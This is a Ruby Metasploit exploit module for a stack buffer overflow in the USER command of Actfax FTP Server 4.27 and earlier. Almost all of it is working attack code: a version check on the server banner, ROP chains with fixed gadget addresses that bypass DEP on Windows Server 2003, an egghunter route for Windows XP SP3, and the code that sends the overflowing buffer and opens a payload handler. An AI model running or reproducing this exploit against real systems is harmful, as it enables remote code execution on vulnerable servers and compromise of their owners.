Actfax FTP Server 4.27 – ‘USER’ Stack Buffer Overflow (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Ftp include Msf::Exploit::Remote::Egghunter def initialize(info = {}) super(update_info(info, 'Name' => 'Actfax FTP Server <= v4.27 USER Command Stack Buffer Overflow', 'Description' => %q{ This module exploits a stack-based buffer overflow in actfax ftp Server version 4.27 and earlier. Actfax fails to check input size when parsing 'USER' command. This vulnerability results in arbitray code execution. This module has been designed to bypass DEP under Windows Server 2003 SP2/R2. }, 'Author' => [ 'mr_me - twitter.com/net__ninja & mrme.mythsec<at>gmail.com', # found/wrote msf module 'chap0 - chap0.mythsec<at>gmail.com', # for the original versions ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 12540 $', 'References' => [ [ 'OSVDB', '72520' ], [ 'URL', 'http://www.exploit-db.com/exploits/16177/' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'thread' }, 'Privileged' => false, 'Payload' => { 'Space' => 600, 'DisableNops' => true, 'EncoderType' => Msf::Encoder::Type::AlphanumMixed, }, 'Platform' => 'win', 'Targets' => [ # Server 2003 DEP bypass targets (fully tested) [ 'Windows Server 2003 + DEP bypass - NTDLL v5.2.3790.4789', { 'Ret' => 0x7C813C8F } ], # MOV ESP,EBP; POP EBP; RETN [ntdll.dll] [ 'Windows Server 2003 + DEP bypass - NTDLL v5.2.3790.3959', { 'Ret' => 0x7C813DE7 } ], # MOV ESP,EBP; POP EBP; RETN [ntdll.dll] # NON DEP Bypass target (fully tested) [ 'Windows XP SP3 - Universal', { 'Ret' => 0x004021C5 } ], # CALL EDI [ActSrvNT.exe] ], 'DisclosureDate' => 'Jul 31 2011', 'DefaultTarget' => 0)) end def check connect disconnect if (banner =~ /Version 4.27/ || banner =~ /Version 4.25/) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def get_encoded_payload(p, reg) encoder = framework.encoders.create("x86/alpha_mixed") encoder.datastore.import_options_from_hash( {'BufferRegister'=>reg} ) rencoded_payload = encoder.encode(p, nil, nil, platform) return rencoded_payload end def junk return rand_text_alpha(4).unpack("L")[0].to_i end def exploit connect if (target.name =~ /Server 2003/) sc = get_encoded_payload(payload.encoded, "ESP") # specially aligned RETN rop_stage1 = "\x42\x28\x5f" # RETN [htnetcfg.dll] rop_stage1 += [0x5f282336].pack("V*") * 51 # RETN [htnetcfg.dll] # All rop stage 1 instructions are from htnetcfg.dll # Tested versions 5.2.3790.3959 & # which seem to be universal across all windows server 2003 SP's rop_stage1 += [ 0x5F29C7F8, # POP EAX; POP ESI; POP EBP; RETN 8 0x5F2B5DC3, # ptr to 0x00001000 junk, # JUNK 0x5f29aa95, # p2p that is writable, we also -0c to accommodate 0x5F2A32DA, # MOV EDX,DWORD PTR DS:[EAX]; JUNK; JUNK; JUNK; JUNK; JUNK; JUNK; RETN 8 junk, # JUNK junk, # JUNK junk, # JUNK 0x5f282336, # RETN junk, # JUNK junk, # JUNK ].pack("V*") # jump over the below stack alignment (Dont POP EDI) rop_stage1 += [0x5F2A345D].pack("V*") # POP ECX; POP EBP; RETN [htnetcfg.dll] # rop_stage1 + stack_alignment to realign after retn address rop_stage1 += rand_text_alpha(1) stack_alignment = rand_text_alpha(3) # We have to be smart on how we use gadgets. # Almost a universal dep bypass as most ptrs are from "ActSrvNT.exe". # We can use null bytes 0x00 due to character conversion of 0x20! # Also, we waste ~208 bytes in payload space but thanks to nulls, we are saved! # EDX already contains = 1000 from flAllocationType (rop_stage1) rop_stage2 = [ 0x204C2135, # POP EAX; RETN 0x2051E1B0, # IAT -> VirtualAlloc 0x2051D7A1, # MOV EAX,DWORD PTR DS:[EAX]; RETN 0x2040A4A0, # POP EBX; RETN 0x2040A4A0, # POP EBX; RETN 0x20422E7D, # MOV ESI,EAX; CALL EBX 0x2040F2c2, # POP EBP; POP EBX; RETN 0x204A5DED, # JMP ESP 0x20202120, # dwSize 0x204C2135, # POP EAX; RETN 0x44444444, # INC ESP before sc (getPC) 0x20415D7A, # POP EDI; POP ECX; RETN 0x20404A3F, # RETN 0x20202040, # flProtect 0x2045AB53, # PUSHAD; RETN ].pack("V*") print_status("Targeting %s" % target.name) sploit = rop_stage1 sploit << [target.ret].pack("V") sploit << stack_alignment sploit << rop_stage2 sploit << sc sploit << rand_text_alpha((990-sploit.length)) else eggoptions = { :checksum => false, :eggtag => 'lulz', } # double encoded msf shellcode trick sc = get_encoded_payload(payload.encoded, "EDI") hunter,egg = generate_egghunter(sc, nil, eggoptions) # encode our hunter hunter = get_encoded_payload(hunter, "EDI") print_status("Targeting %s" % target.name) print_status("Sending stage 1 exploit buffer...") send_cmd(['USER', 'anonymous'], true) send_cmd(['PASS', egg], false) sploit = hunter sploit << rand_text_alpha(256-sploit.length) sploit << [target.ret].pack("V") # connect again ;) connect end # profit send_cmd(['USER', sploit] , false) handler disconnect end end |